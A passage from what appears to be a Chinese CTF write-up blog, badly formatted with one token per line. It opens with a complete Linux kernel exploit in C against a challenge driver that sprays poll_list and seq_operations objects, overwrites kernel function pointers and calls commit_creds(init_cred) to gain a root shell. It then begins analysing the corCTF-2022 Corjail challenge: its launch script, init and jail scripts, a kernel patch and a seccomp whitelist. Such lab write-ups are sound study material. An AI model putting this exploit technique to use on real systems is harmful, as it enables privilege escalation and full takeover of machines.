                  struct
                
                
                  pipe_bufer
                
                
                  *
                
                );
              
              

              
                    
                
                  int
                
                 (
                
                  *
                
                
                  get
                
                )(
                
                  struct
                
                
                  pipe_inode_info
                
                
                  *
                
                , 
                
                  struct
                
                
                  pipe_bufer
                
                
                  *
                
                );
              
              

              
                };
              
              

              
                
                
              
              

              
                
                  /*--------------------------------------------------------------------------------------------------*/
                
              
              

              
                
                
              
              

              
                
                  void
                
                
                  *
                
                (
                
                  *
                
                
                  commit_creds
                
                )(
                
                  void
                
                
                  *
                
                ) 
                
                  =
                
                 (
                
                  void
                
                
                  *
                
                ) 
                
                  0xFFFFFFFF810A1340
                
                ;
              
              

              
                
                  void
                
                
                  *
                
                
                  init_cred
                
                
                  =
                
                 (
                
                  void
                
                
                  *
                
                ) 
                
                  0xFFFFFFFF81E496C0
                
                ;
              
              

              
                
                  size_t
                
                
                  user_rip
                
                
                  =
                
                 (
                
                  size_t
                
                ) 
                
                  get_shell
                
                ;
              
              

              
                
                
              
              

              
                
                  size_t
                
                
                  kernel_offset
                
                ;
              
              

              
                
                  void
                
                
                  get_root
                
                () {
              
              

              
                    
                
                  __asm__
                
                (
              
              

              
                        
                
                  "mov rax, [rsp + 8];"
                
              
              

              
                        
                
                  "mov kernel_offset, rax;"
                
              
              

              
                    );
              
              

              
                    
                
                  kernel_offset
                
                
                  -=
                
                
                  0xffffffff81229378
                
                ;
              
              

              
                    
                
                  commit_creds
                
                
                  =
                
                 (
                
                  void
                
                
                  *
                
                ) ((
                
                  size_t
                
                ) 
                
                  commit_creds
                
                
                  +
                
                
                  kernel_offset
                
                );
              
              

              
                    
                
                  init_cred
                
                
                  =
                
                 (
                
                  void
                
                
                  *
                
                ) ((
                
                  size_t
                
                ) 
                
                  init_cred
                
                
                  +
                
                
                  kernel_offset
                
                );
              
              

              
                    
                
                  commit_creds
                
                (
                
                  init_cred
                
                );
              
              

              
                    
                
                  __asm__
                
                (
              
              

              
                        
                
                  "swapgs;"
                
              
              

              
                        
                
                  "push user_ss;"
                
              
              

              
                        
                
                  "push user_sp;"
                
              
              

              
                        
                
                  "push user_rflags;"
                
              
              

              
                        
                
                  "push user_cs;"
                
              
              

              
                        
                
                  "push user_rip;"
                
              
              

              
                        
                
                  "iretq;"
                
              
              

              
                    );
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  /*--------------------------------------------------------------------------------------------------*/
                
              
              

              
                
                
              
              

              
                
                  int
                
                
                  main
                
                () {
              
              

              
                    
                
                  save_status
                
                ();
              
              

              
                    
                
                  signal
                
                (
                
                  SIGSEGV
                
                , (
                
                  void
                
                
                  *
                
                ) 
                
                  get_shell
                
                );
              
              

              
                    
                
                  bof_fd
                
                
                  =
                
                
                  open
                
                (
                
                  "dev/bof"
                
                , 
                
                  O_RDWR
                
                );
              
              

              
                    
                
                  int
                
                
                  seq_fd
                
                [
                
                  SEQ_NUM
                
                ];
              
              

              
                
                
              
              

              
                    
                
                  printf
                
                (
                
                  "[*] try to alloc_kmalloc-4096\n"
                
                );
              
              

              
                    
                
                  size_t*
                
                
                  mem
                
                
                  =
                
                
                  malloc
                
                (
                
                  0x1010
                
                );
              
              

              
                    
                
                  memset
                
                (
                
                  mem
                
                , 
                
                  '\xff'
                
                , 
                
                  0x1010
                
                );
              
              

              
                    
                
                  struct
                
                
                  param
                
                
                  p
                
                
                  =
                
                 {
                
                  0x1000
                
                , (
                
                  char*
                
                )
                
                  mem
                
                , 
                
                  0
                
                };
              
              

              
                    
                
                  ioctl
                
                (
                
                  bof_fd
                
                , 
                
                  BOF_MALLOC
                
                , 
                
                  &
                
                
                  p
                
                );
              
              

              
                
                
              
              

              
                    
                
                  printf
                
                (
                
                  "[*] try to spary kmalloc-32\n"
                
                );
              
              

              
                    
                
                  p
                
                .
                
                  len
                
                
                  =
                
                
                  0x20
                
                ;
              
              

              
                    
                
                  for
                
                 (
                
                  int
                
                
                  i
                
                
                  =
                
                
                  1
                
                ; 
                
                  i
                
                
                  <
                
                
                  20
                
                ; 
                
                  ++
                
                
                  i
                
                )
              
              

              
                    {
              
              

              
                        
                
                  p
                
                .
                
                  idx
                
                
                  =
                
                
                  i
                
                ;
              
              

              
                        
                
                  memset
                
                (
                
                  mem
                
                , 
                
                  i
                
                , 
                
                  0x20
                
                );
              
              

              
                        
                
                  memset
                
                (
                
                  mem
                
                , 
                
                  0
                
                , 
                
                  0x18
                
                );
              
              

              
                        
                
                  ioctl
                
                (
                
                  bof_fd
                
                , 
                
                  BOF_MALLOC
                
                , 
                
                  &
                
                
                  p
                
                );
              
              

              
                        
                
                  ioctl
                
                (
                
                  bof_fd
                
                , 
                
                  BOF_EDIT
                
                , 
                
                  &
                
                
                  p
                
                );
              
              

              
                    }
              
              

              
                
                
              
              

              
                    
                
                  printf
                
                (
                
                  "[*] try to alloc_poll_list\n"
                
                );
              
              

              
                    
                
                  for
                
                 (
                
                  int
                
                
                  i
                
                
                  =
                
                
                  0
                
                ; 
                
                  i
                
                
                  <
                
                
                  14
                
                ; 
                
                  ++
                
                
                  i
                
                )
              
              

              
                    {
              
              

              
                        
                
                  create_poll_list
                
                (
                
                  PAGE_SIZE
                
                
                  +
                
                
                  sizeof
                
                (
                
                  struct
                
                
                  poll_list
                
                ) 
                
                  +
                
                
                  sizeof
                
                (
                
                  struct
                
                
                  pollfd
                
                ), 
                
                  3000
                
                , 
                
                  i
                
                );
              
              

              
                    }
              
              

              
                
                
              
              

              
                    
                
                  printf
                
                (
                
                  "[*] try to spary kmalloc-32\n"
                
                );
              
              

              
                    
                
                  p
                
                .
                
                  len
                
                
                  =
                
                
                  0x20
                
                ;
              
              

              
                    
                
                  for
                
                 (
                
                  int
                
                
                  i
                
                
                  =
                
                
                  20
                
                ; 
                
                  i
                
                
                  <
                
                
                  40
                
                ; 
                
                  ++
                
                
                  i
                
                )
              
              

              
                    {
              
              

              
                        
                
                  p
                
                .
                
                  idx
                
                
                  =
                
                
                  i
                
                ;
              
              

              
                        
                
                  memset
                
                (
                
                  mem
                
                , 
                
                  i
                
                , 
                
                  0x20
                
                );
              
              

              
                        
                
                  memset
                
                (
                
                  mem
                
                , 
                
                  0
                
                , 
                
                  0x18
                
                );
              
              

              
                        
                
                  ioctl
                
                (
                
                  bof_fd
                
                , 
                
                  BOF_MALLOC
                
                , 
                
                  &
                
                
                  p
                
                );
              
              

              
                        
                
                  ioctl
                
                (
                
                  bof_fd
                
                , 
                
                  BOF_EDIT
                
                , 
                
                  &
                
                
                  p
                
                );
              
              

              
                    }
              
              

              
                
                
              
              

              
                    
                
                  sleep
                
                (
                
                  1
                
                );
              
              

              
                
                  //
                  
                      
                  
                    调试用代码
                
              
              

              
                
                  //    p.len = 0x1010;
                
              
              

              
                
                  //    p.idx = 0;
                
              
              

              
                
                  //    ioctl(bof_fd, BOF_READ, &p);
                
              
              

              
                
                
              
              

              
                
                  //    printf("[*] p->buf == %p\n", (size_t*)mem[0x1008/8]);
                
              
              

              
                
                
              
              

              
                    
                
                  p
                
                .
                
                  len
                
                
                  =
                
                
                  0x1001
                
                ;
              
              

              
                    
                
                  p
                
                .
                
                  idx
                
                
                  =
                
                
                  0
                
                ;
              
              

              
                    
                
                  memset
                
                (
                
                  mem
                
                , 
                
                  '\x00'
                
                , 
                
                  0x1001
                
                );
              
              

              
                    
                
                  ioctl
                
                (
                
                  bof_fd
                
                , 
                
                  BOF_EDIT
                
                , 
                
                  &
                
                
                  p
                
                );
              
              

              
                
                
              
              

              
                    
                
                  void
                
                
                  *
                
                
                  res
                
                ;
              
              

              
                    
                
                  for
                
                 (
                
                  int
                
                
                  i
                
                
                  =
                
                
                  0
                
                ; 
                
                  i
                
                
                  <
                
                
                  14
                
                ; 
                
                  ++
                
                
                  i
                
                )
              
              

              
                    {
              
              

              
                        
                
                  printf
                
                (
                
                  "[*] wating for poll end\n"
                
                );
              
              

              
                        
                
                  pthread_join
                
                (
                
                  tid
                
                [
                
                  i
                
                ], 
                
                  &
                
                
                  res
                
                );
              
              

              
                    }
              
              

              
                
                
              
              

              
                    
                
                  for
                
                 (
                
                  int
                
                
                  i
                
                
                  =
                
                
                  0
                
                ; 
                
                  i
                
                
                  <
                
                
                  256
                
                ; 
                
                  ++
                
                
                  i
                
                )
              
              

              
                    {
              
              

              
                        
                
                  seq_fd
                
                [
                
                  i
                
                ] 
                
                  =
                
                
                  open
                
                (
                
                  "/proc/self/stat"
                
                , 
                
                  O_RDONLY
                
                );
              
              

              
                    }
              
              

              
                
                
              
              

              
                    
                
                  sleep
                
                (
                
                  1
                
                );
              
              

              
                
                
              
              

              
                    
                
                  for
                
                 (
                
                  int
                
                
                  i
                
                
                  =
                
                
                  1
                
                ; 
                
                  i
                
                
                  <
                
                
                  40
                
                ; 
                
                  ++
                
                
                  i
                
                )
              
              

              
                    {
              
              

              
                        
                
                  p
                
                .
                
                  idx
                
                
                  =
                
                
                  i
                
                ;
              
              

              
                        
                
                  p
                
                .
                
                  len
                
                
                  =
                
                
                  0x20
                
                ;
              
              

              
                
                
              
              

              
                        
                
                  ioctl
                
                (
                
                  bof_fd
                
                , 
                
                  BOF_READ
                
                , 
                
                  &
                
                
                  p
                
                );
              
              

              
                        
                
                  printf
                
                (
                
                  "[%d->0] p->buf == %p\n"
                
                , 
                
                  i
                
                , (
                
                  size_t*
                
                )
                
                  mem
                
                [
                
                  0
                
                ]);
              
              

              
                        
                
                  printf
                
                (
                
                  "[%d->1] p->buf == %p\n"
                
                , 
                
                  i
                
                , (
                
                  size_t*
                
                )
                
                  mem
                
                [
                
                  1
                
                ]);
              
              

              
                        
                
                  printf
                
                (
                
                  "[%d->2] p->buf == %p\n"
                
                , 
                
                  i
                
                , (
                
                  size_t*
                
                )
                
                  mem
                
                [
                
                  2
                
                ]);
              
              

              
                        
                
                  printf
                
                (
                
                  "[%d->3] p->buf == %p\n"
                
                , 
                
                  i
                
                , (
                
                  size_t*
                
                )
                
                  mem
                
                [
                
                  3
                
                ]);
              
              

              
                
                
              
              

              
                        
                
                  mem
                
                [
                
                  0
                
                ] 
                
                  =
                
                 (
                
                  size_t*
                
                )
                
                  get_root
                
                ;
              
              

              
                        
                
                  mem
                
                [
                
                  1
                
                ] 
                
                  =
                
                 (
                
                  size_t*
                
                )
                
                  get_root
                
                ;
              
              

              
                        
                
                  mem
                
                [
                
                  2
                
                ] 
                
                  =
                
                 (
                
                  size_t*
                
                )
                
                  get_root
                
                ;
              
              

              
                        
                
                  mem
                
                [
                
                  3
                
                ] 
                
                  =
                
                 (
                
                  size_t*
                
                )
                
                  get_root
                
                ;
              
              

              
                        
                
                  ioctl
                
                (
                
                  bof_fd
                
                , 
                
                  BOF_EDIT
                
                , 
                
                  &
                
                
                  p
                
                );
              
              

              
                    }
              
              

              
                
                
              
              

              
                    
                
                  for
                
                 (
                
                  int
                
                
                  i
                
                
                  =
                
                
                  1
                
                ; 
                
                  i
                
                
                  <
                
                
                  40
                
                ; 
                
                  ++
                
                
                  i
                
                )
              
              

              
                    {
              
              

              
                        
                
                  p
                
                .
                
                  idx
                
                
                  =
                
                
                  i
                
                ;
              
              

              
                        
                
                  p
                
                .
                
                  len
                
                
                  =
                
                
                  0x20
                
                ;
              
              

              
                
                
              
              

              
                        
                
                  ioctl
                
                (
                
                  bof_fd
                
                , 
                
                  BOF_READ
                
                , 
                
                  &
                
                
                  p
                
                );
              
              

              
                        
                
                  printf
                
                (
                
                  "[%d->0] p->buf == %p\n"
                
                , 
                
                  i
                
                , (
                
                  size_t*
                
                )
                
                  mem
                
                [
                
                  0
                
                ]);
              
              

              
                        
                
                  printf
                
                (
                
                  "[%d->1] p->buf == %p\n"
                
                , 
                
                  i
                
                , (
                
                  size_t*
                
                )
                
                  mem
                
                [
                
                  1
                
                ]);
              
              

              
                        
                
                  printf
                
                (
                
                  "[%d->2] p->buf == %p\n"
                
                , 
                
                  i
                
                , (
                
                  size_t*
                
                )
                
                  mem
                
                [
                
                  2
                
                ]);
              
              

              
                        
                
                  printf
                
                (
                
                  "[%d->3] p->buf == %p\n"
                
                , 
                
                  i
                
                , (
                
                  size_t*
                
                )
                
                  mem
                
                [
                
                  3
                
                ]);
              
              

              
                    }
              
              

              
                
                
              
              

              
                
                
              
              

              
                
                
              
              

              
                    
                
                  for
                
                 (
                
                  int
                
                
                  i
                
                
                  =
                
                
                  0
                
                ; 
                
                  i
                
                
                  <
                
                
                  256
                
                ; 
                
                  i
                
                
                  ++
                
                ) {
              
              

              
                        
                
                  read
                
                (
                
                  seq_fd
                
                [
                
                  i
                
                ], 
                
                  p
                
                .
                
                  buf
                
                , 
                
                  1
                
                );
              
              

              
                    }
              
              

              
                
                
              
              

              
                    
                
                  return
                
                
                  0
                
                ;
              
              

              
                }
              
            

corCTF-2022:Corjail

题目分析

我们可以使用 Guestfish 工具读取和修改 qcow2 文件。

run_challenge.sh

              
                
                  #!/bin/sh
                
              
              

              
                qemu-system-x86_64 \
              
              

              
                    
                
                  -m
                
                 1G \
              
              

              
                    
                
                  -nographic
                
                 \
              
              

              
                    
                
                  -no-reboot
                
                 \
              
              

              
                    
                
                  -kernel
                
                 bzImage \
              
              

              
                    
                
                  -append
                
                
                  "console=ttyS0 root=/dev/sda quiet loglevel=3 rd.systemd.show_status=auto rd.udev.log_level=3 oops=panic panic=-1 net.ifnames=0 pti=on"
                
                 \
              
              

              
                    
                
                  -hda
                
                 coros.qcow2 \
              
              

              
                    
                
                  -snapshot
                
                 \
              
              

              
                    
                
                  -monitor
                
                 /dev/null \
              
              

              
                    
                
                  -cpu
                
                 qemu64,
                
                  +
                
                smep,
                
                  +
                
                smap,
                
                  +
                
                rdrand \
              
              

              
                    
                
                  -smp
                
                
                  cores
                
                
                  =
                
                
                  4
                
                 \
              
              

              
                    
                
                  --enable-kvm
                
              
            

init脚本

查看服务进程 /etc/systemd/system/init.service

              
                
                  Description
                
                
                  =
                
                Initialize challenge
              
              

              
                
                
              
              

              
                [Service]
              
              

              
                
                  Type
                
                
                  =
                
                oneshot
              
              

              
                
                  ExecStart
                
                
                  =
                
                /usr/local/bin/init
              
              

              
                
                
              
              

              
                [Install]
              
              

              
                
                  WantedBy
                
                
                  =
                
                multi-user.target
              
            

查看 /usr/local/bin/init 脚本;

              
                
                  cat
                
                 /usr/local/bin/init
              
              

              
                
                  #!/bin/bash
                
              
              

              
                
                
              
              

              
                
                  USER
                
                
                  =
                
                user
              
              

              
                
                
              
              

              
                
                  FLAG
                
                
                  =
                
                
                  $(head -n 100 /dev/urandom | sha512sum | awk '{printf 
                
                
                  $1
                
                
                  }')
                
              
              

              
                
                
              
              

              
                useradd 
                
                  --create-home
                
                
                  --shell
                
                 /bin/bash 
                
                  $USER
                
              
              

              
                
                
              
              

              
                
                  echo
                
                
                  "export PS1='\[33[01;31m\]\u@CoROS\[33[00m\]:\[33[01;34m\]\w\[33[00m\]# '"
                
                  >> /root/.bashrc
              
              

              
                
                  echo
                
                
                  "export PS1='\[33[01;35m\]\u@CoROS\[33[00m\]:\[33[01;34m\]\w\[33[00m\]\$ '"
                
                 >> /home/
                
                  $USER
                
                /.bashrc
              
              

              
                
                
              
              

              
                
                  chmod
                
                
                  -r
                
                
                  0700
                
                 /home/
                
                  $USER
                
              
              

              
                
                
              
              

              
                
                  mv
                
                 /root/temp /root/
                
                  $FLAG
                
              
              

              
                
                  chmod
                
                
                  0400
                
                 /root/
                
                  $FLAG
                
              
            

password

              
                ❯ guestfish 
                
                  --rw
                
                
                  -a
                
                 coros.qcow2
              
              

              
                ><fs> run
              
              

              
                ><fs> list-filesystems
              
              

              
                /dev/sda: ext4
              
              

              
                ><fs> mount /dev/sda /
              
              

              
                ><fs> 
                
                  cat
                
                 /etc/password
              
              

              
                libguestfs: error: download: /etc/password: No such file or directory
              
              

              
                ><fs> 
                
                  cat
                
                 /etc/passwd
              
              

              
                root:x:0:0:root:/root:/usr/local/bin/jail
              
              

              
                daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
              
              

              
                ......
              
            

root_shell

查看 root 用户的 /usr/local/bin/jail ;

              
                ><fs> 
                
                  cat
                
                 /usr/local/bin/jail
              
              

              
                
                  #!/bin/bash
                
              
              

              
                
                
              
              

              
                
                  echo
                
                
                  -e
                
                
                  '[33[5m\e[1;33m!\e[0m] Spawning a shell in a CoRJail...'
                
              
              

              
                
                
              
              

              
                /usr/bin/docker run 
                
                  -it
                
                
                  --user
                
                 user \
              
              

              
                
                      
                
                
                  --hostname
                
                 CoRJail \
              
              

              
                    
                
                  --security-opt
                
                
                  seccomp
                
                
                  =
                
                /etc/docker/corjail.json \
              
              

              
                    
                
                  -v
                
                 /proc/cormon:/proc_rw/cormon:rw corcontainer
              
              

              
                
                
              
              

              
                /bin/bash
              
              

              
                
                
              
              

              
                /usr/sbin/poweroff 
                
                  -f
                
              
            

发现其启动 rootshell 后是首先调用 docker 来构建了一个容器然后关闭自身,在那之后我们起的虚拟环境就是处于该 docker 容器当中。

为了方便调试,我们可以使用 edit 将其修改为:

              
                ><fs> edit /usr/local/bin/jail 
              
              

              
                ><fs> 
                
                  cat
                
                 /usr/local/bin/jail
              
              

              
                
                  #!/bin/bash
                
              
              

              
                
                
              
              

              
                
                  echo
                
                
                  -e
                
                
                  '[33[5m\e[1;33m!\e[0m] Spawning a shell in a CoRJail...'
                
              
              

              
                
                
              
              

              
                
                  cp
                
                 /exploit /home/user || 
                
                  echo
                
                
                  "[!] exploit not found, skipping"
                
              
              

              
                
                
              
              

              
                
                  chown
                
                
                  -R
                
                 user:user /home/user
              
              

              
                
                
              
              

              
                
                  echo
                
                
                  0
                
                 > /proc/sys/kernel/kptr_restrict
              
              

              
                
                
              
              

              
                /usr/bin/docker run 
                
                  -it
                
                
                  --user
                
                 root \
              
              

              
                  
                
                  --hostname
                
                 CoRJail \
              
              

              
                  
                
                  --security-opt
                
                
                  seccomp
                
                
                  =
                
                /etc/docker/corjail.json \
              
              

              
                  
                
                  # 允许容器能够调用与日志相关的系统调用
                
              
              

              
                  
                
                  --cap-add
                
                 CAP_SYSLOG \
              
              

              
                  
                
                  # 将宿主机的 /proc/cormon 目录挂载到容器内的 /proc_rw/cormon,并且以读写模式挂载。
                
              
              

              
                  
                
                  -v
                
                 /proc/cormon:/proc_rw/cormon:rw \
              
              

              
                  
                
                  # 将宿主机的 /home/user/ 目录挂载到容器内的 /home/user/host
                
              
              

              
                  
                
                  -v
                
                 /home/user/:/home/user/host \
              
              

              
                  corcontainer
              
              

              
                
                
              
              

              
                /bin/bash
              
              

              
                
                
              
              

              
                /usr/sbin/poweroff 
                
                  -f
                
              
            

edit 的用法和 vim 一样。

后面我们上传 exp 的时候可以使用 upload 命令,其格式如下:

              
                ><fs> help upload
              
              

              
                NAME
              
              

              
                    upload 
                
                  -
                
                 upload a file from the local machine
              
              

              
                
                
              
              

              
                SYNOPSIS
              
              

              
                     upload filename remotefilename
              
              

              
                
                
              
              

              
                DESCRIPTION
              
              

              
                    Upload local file filename to remotefilename on the filesystem.
              
              

              
                
                
              
              

              
                    filename can also be a named pipe.
              
              

              
                
                
              
              

              
                    See also 
                
                  "download"
                
                .
              
            

kernel_patch

              
                diff -ruN a/arch/x86/entry/syscall_64.c b/arch/x86/entry/syscall_64.c
              
              

              
                
                  --- a/arch/x86/entry/syscall_64.c
                  
                       
                  
                  2022-06-29 08:59:54.000000000 +0200
                
              
              

              
                
                  +++ b/arch/x86/entry/syscall_64.c
                  
                       
                  
                  2022-07-02 12:34:11.237778657 +0200
                
              
              

              
                
                  @@ -17,6 +17,9 @@
                
              
              

              
                
                
              
              

              
                 #define __SYSCALL_64(nr, sym) [nr] = __x64_##sym,
              
              

              
                
                
              
              

              
                
                  +DEFINE_PER_CPU(u64 [NR_syscalls], __per_cpu_syscall_count);
                
              
              

              
                
                  +EXPORT_PER_CPU_SYMBOL(__per_cpu_syscall_count);
                
              
              

              
                
                  +
                
              
              

              
                 asmlinkage const sys_call_ptr_t sys_call_table[__NR_syscall_max+1] = {
              
              

              
                
                     
                
                /*
              
              

              
                
                     
                
                 * Smells like a compiler bug -- it doesn't work
              
              

              
                diff -ruN a/arch/x86/include/asm/syscall_wrapper.h b/arch/x86/include/asm/syscall_wrapper.h
              
              

              
                
                  --- a/arch/x86/include/asm/syscall_wrapper.h
                  
                        
                  
                  2022-06-29 08:59:54.000000000 +0200
                
              
              

              
                
                  +++ b/arch/x86/include/asm/syscall_wrapper.h
                  
                        
                  
                  2022-07-02 12:34:11.237778657 +0200
                
              
              

              
                
                  @@ -245,7 +245,7 @@
                
              
              

              
                  * SYSCALL_DEFINEx() -- which is essential for the COND_SYSCALL() and SYS_NI()
              
              

              
                  * macros to work correctly.
              
              

              
                  */
              
              

              
                
                  -#define SYSCALL_DEFINE0(sname)
                  
                  
                  
                        
                  
                  
                        
                  
                  
                        
                  
                  
                        
                  
                  
                        
                  
                  \
                
              
              

              
                
                  +#define __SYSCALL_DEFINE0(sname)
                  
                       
                  
                  
                        
                  
                  
                        
                  
                  
                        
                  
                  
                        
                  
                  
                        
                  
                  \
                
              
              

              
                
                     
                
                SYSCALL_METADATA(_##sname, 0);
                
                    
                
                
                      
                
                
                      
                
                
                      
                
                
                      
                
                \
              
              

              
                
                     
                
                static long __do_sys_##sname(const struct pt_regs *__unused);
                
                     
                
                \
              
              

              
                
                     
                
                __X64_SYS_STUB0(sname)
                
                    
                
                
                      
                
                
                      
                
                
                      
                
                
                      
                
                
                      
                
                \
              
              

              
                diff -ruN a/include/linux/syscalls.h b/include/linux/syscalls.h
              
              

              
                
                  --- a/include/linux/syscalls.h
                  
                      
                  
                  2022-06-29 08:59:54.000000000 +0200
                
              
              

              
                
                  +++ b/include/linux/syscalls.h
                  
                      
                  
                  2022-07-02 12:34:11.237778657 +0200
                
              
              

              
                
                  @@ -82,6 +82,7 @@
                
              
              

              
                 #include <linux/key.h>
              
              

              
                 #include <linux/personality.h>
              
              

              
                 #include <trace/syscall.h>
              
              

              
                
                  +#include <asm/syscall.h>
                
              
              

              
                
                
              
              

              
                 #ifdef CONFIG_ARCH_HAS_SYSCALL_WRAPPER
              
              

              
                 /*
              
              

              
                
                  @@ -202,8 +203,8 @@
                
              
              

              
                 }
              
              

              
                 #endif
              
              

              
                
                
              
              

              
                
                  -#ifndef SYSCALL_DEFINE0
                
              
              

              
                
                  -#define SYSCALL_DEFINE0(sname)
                  
                  
                  
                        
                  
                  
                        
                  
                  
                        
                  
                  
                        
                  
                  \
                
              
              

              
                
                  +#ifndef __SYSCALL_DEFINE0
                
              
              

              
                
                  +#define __SYSCALL_DEFINE0(sname)
                  
                       
                  
                  
                        
                  
                  
                        
                  
                  
                        
                  
                  
                        
                  
                  \
                
              
              

              
                
                     
                
                SYSCALL_METADATA(_##sname, 0);
                
                    
                
                
                      
                
                
                      
                
                
                      
                
                \
              
              

              
                
                     
                
                asmlinkage long sys_##sname(void);
                
                    
                
                
                      
                
                
                      
                
                \
              
              

              
                
                     
                
                ALLOW_ERROR_INJECTION(sys_##sname, ERRNO);
                
                    
                
                
                      
                
                \
              
              

              
                
                  @@ -219,9 +220,41 @@
                
              
              

              
                
                
              
              

              
                 #define SYSCALL_DEFINE_MAXARGS
                
                
                6
              
              

              
                
                
              
              

              
                
                  -#define SYSCALL_DEFINEx(x, sname, ...)
                  
                  
                  
                        
                  
                  
                        
                  
                  
                        
                  
                  \
                
              
              

              
                
                  -
                  
                       
                  
                  SYSCALL_METADATA(sname, x, __VA_ARGS__)
                  
                  
                  
                        
                  
                  
                        
                  
                  \
                
              
              

              
                
                  -
                  
                       
                  
                  __SYSCALL_DEFINEx(x, sname, __VA_ARGS__)
                
              
              

              
                
                  +DECLARE_PER_CPU(u64[], __per_cpu_syscall_count);
                
              
              

              
                
                  +
                
              
              

              
                
                  +#define SYSCALL_COUNT_DECLAREx(sname, x, ...) \
                
              
              

              
                
                  +
                  
                       
                  
                  static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__));
                
              
              

              
                
                  +
                
              
              

              
                
                  +#define __SYSCALL_COUNT(syscall_nr) \
                
              
              

              
                
                  +
                  
                       
                  
                  this_cpu_inc(__per_cpu_syscall_count[(syscall_nr)])
                
              
              

              
                
                  +
                
              
              

              
                
                  +#define SYSCALL_COUNT_FUNCx(sname, x, ...)
                  
                  
                  
                        
                  
                  
                        
                  
                  
                        
                  
                  
                        
                  
                  \
                
              
              

              
                
                  +
                  
                       
                  
                  {
                  
                       
                  
                  
                        
                  
                  
                        
                  
                  
                        
                  
                  
                        
                  
                  
                        
                  
                  
                        
                  
                  
                        
                  
                  
                        
                  
                  \
                
              
              

              
                
                  +
                  
                       
                  
                  
                        
                  
                  __SYSCALL_COUNT(__syscall_meta_##sname.syscall_nr);
                  
                  
                  
                        
                  
                  \
                
              
              

              
                
                  +
                  
                       
                  
                  
                        
                  
                  return __count_sys##sname(__MAP(x, __SC_CAST, __VA_ARGS__));
                  
                        
                  
                  \
                
              
              

              
                
                  +
                  
                       
                  
                  }
                  
                       
                  
                  
                        
                  
                  
                        
                  
                  
                        
                  
                  
                        
                  
                  
                        
                  
                  
                        
                  
                  
                        
                  
                  
                        
                  
                  \
                
              
              

              
                
                  +
                  
                       
                  
                  static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__))
                
              
              

              
                
                  +
                
              
              

              
                
                  +#define SYSCALL_COUNT_DECLARE0(sname) \
                
              
              

              
                
                  +
                  
                       
                  
                  static inline long __count_sys_##sname(void);
                
              
              

              
                
                  +
                
              
              

              
                
                  +#define SYSCALL_COUNT_FUNC0(sname)
                  
                  
                  
                        
                  
                  
                        
                  
                  
                        
                  
                  
                        
                  
                  \
                
              
              

              
                
                  +
                  
                       
                  
                  {
                  
                       
                  
                  
                        
                  
                  
                        
                  
                  
                        
                  
                  
                        
                  
                  
                        
                  
                  
                        
                  
                  
                        
                  
                  \
                
              
              

              
                
                  +
                  
                       
                  
                  
                        
                  
                  __SYSCALL_COUNT(__syscall_meta__##sname.syscall_nr);
                  
                        
                  
                  \
                
              
              

              
                
                  +
                  
                       
                  
                  
                        
                  
                  return __count_sys_##sname();
                  
                       
                  
                  
                        
                  
                  
                        
                  
                  
                        
                  
                  \
                
              
              

              
                
                  +
                  
                       
                  
                  }
                  
                       
                  
                  
                        
                  
                  
                        
                  
                  
                        
                  
                  
                        
                  
                  
                        
                  
                  
                        
                  
                  
                        
                  
                  \
                
              
              

              
                
                  +
                  
                       
                  
                  static inline long __count_sys_##sname(void)
                
              
              

              
                
                  +
                
              
              

              
                
                  +#define SYSCALL_DEFINEx(x, sname, ...)
                  
                  
                  
                        
                  
                  
                        
                  
                  \
                
              
              

              
                
                  +
                  
                       
                  
                  SYSCALL_METADATA(sname, x, __VA_ARGS__)
                  
                  
                  
                        
                  
                  \
                
              
              

              
                
                  +
                  
                       
                  
                  SYSCALL_COUNT_DECLAREx(sname, x, __VA_ARGS__)
                  
                       
                  
                  \
                
              
              

              
                
                  +
                  
                       
                  
                  __SYSCALL_DEFINEx(x, sname, __VA_ARGS__)
                  
                        
                  
                  \
                
              
              

              
                
                  +
                  
                       
                  
                  SYSCALL_COUNT_FUNCx(sname, x, __VA_ARGS__)
                
              
              

              
                
                  +
                
              
              

              
                
                  +#define SYSCALL_DEFINE0(sname)
                  
                  
                  
                        
                  
                  \
                
              
              

              
                
                  +
                  
                       
                  
                  SYSCALL_COUNT_DECLARE0(sname)
                  
                       
                  
                  \
                
              
              

              
                
                  +
                  
                       
                  
                  __SYSCALL_DEFINE0(sname)
                  
                        
                  
                  \
                
              
              

              
                
                  +
                  
                       
                  
                  SYSCALL_COUNT_FUNC0(sname)
                
              
              

              
                
                
              
              

              
                 #define __PROTECT(...) asmlinkage_protect(__VA_ARGS__)
              
              

              
                
                
              
              

              
                diff -ruN a/kernel/trace/trace_syscalls.c b/kernel/trace/trace_syscalls.c
              
              

              
                
                  --- a/kernel/trace/trace_syscalls.c
                  
                  
                  2022-06-29 08:59:54.000000000 +0200
                
              
              

              
                
                  +++ b/kernel/trace/trace_syscalls.c
                  
                  
                  2022-07-02 12:34:32.902426748 +0200
                
              
              

              
                
                  @@ -101,7 +101,7 @@
                
              
              

              
                
                     
                
                return NULL;
              
              

              
                 }
              
              

              
                
                
              
              

              
                
                  -static struct syscall_metadata *syscall_nr_to_meta(int nr)
                
              
              

              
                
                  +struct syscall_metadata *syscall_nr_to_meta(int nr)
                
              
              

              
                 {
              
              

              
                
                     
                
                if (IS_ENABLED(CONFIG_HAVE_SPARSE_SYSCALL_NR))
              
              

              
                
                     
                
                
                      
                
                return xa_load(&syscalls_metadata_sparse, (unsigned long)nr);
              
              

              
                
                  @@ -111,6 +111,7 @@
                
              
              

              
                
                
              
              

              
                
                     
                
                return syscalls_metadata[nr];
              
              

              
                 }
              
              

              
                
                  +EXPORT_SYMBOL(syscall_nr_to_meta);
                
              
              

              
                
                
              
              

              
                 const char *get_syscall_name(int syscall)
              
              

              
                 {
              
              

              
                
                  @@ -122,6 +123,7 @@
                
              
              

              
                
                
              
              

              
                
                     
                
                return entry->name;
              
              

              
                 }
              
              

              
                
                  +EXPORT_SYMBOL(get_syscall_name);
                
              
              

              
                
                
              
              

              
                 static enum print_line_t
              
              

              
                 print_syscall_enter(struct trace_iterator *iter, int flags,
              
              

              
                
                
              
            

其中

              +DEFINE_PER_CPU(u64 [NR_syscalls], __per_cpu_syscall_count);
            

为每个CPU都创建一个 __per_cpu_syscall_count 变量用来记录系统调用的次数。


seccomp.json 保存了系统调用的白名单。

              
                {
              
              

              
                
                      
                
                
                  "defaultAction"
                
                : 
                
                  "SCMP_ACT_ERRNO"
                
                ,
              
              

              
                
                      
                
                
                  "defaultErrnoRet"
                
                : 
                
                  1
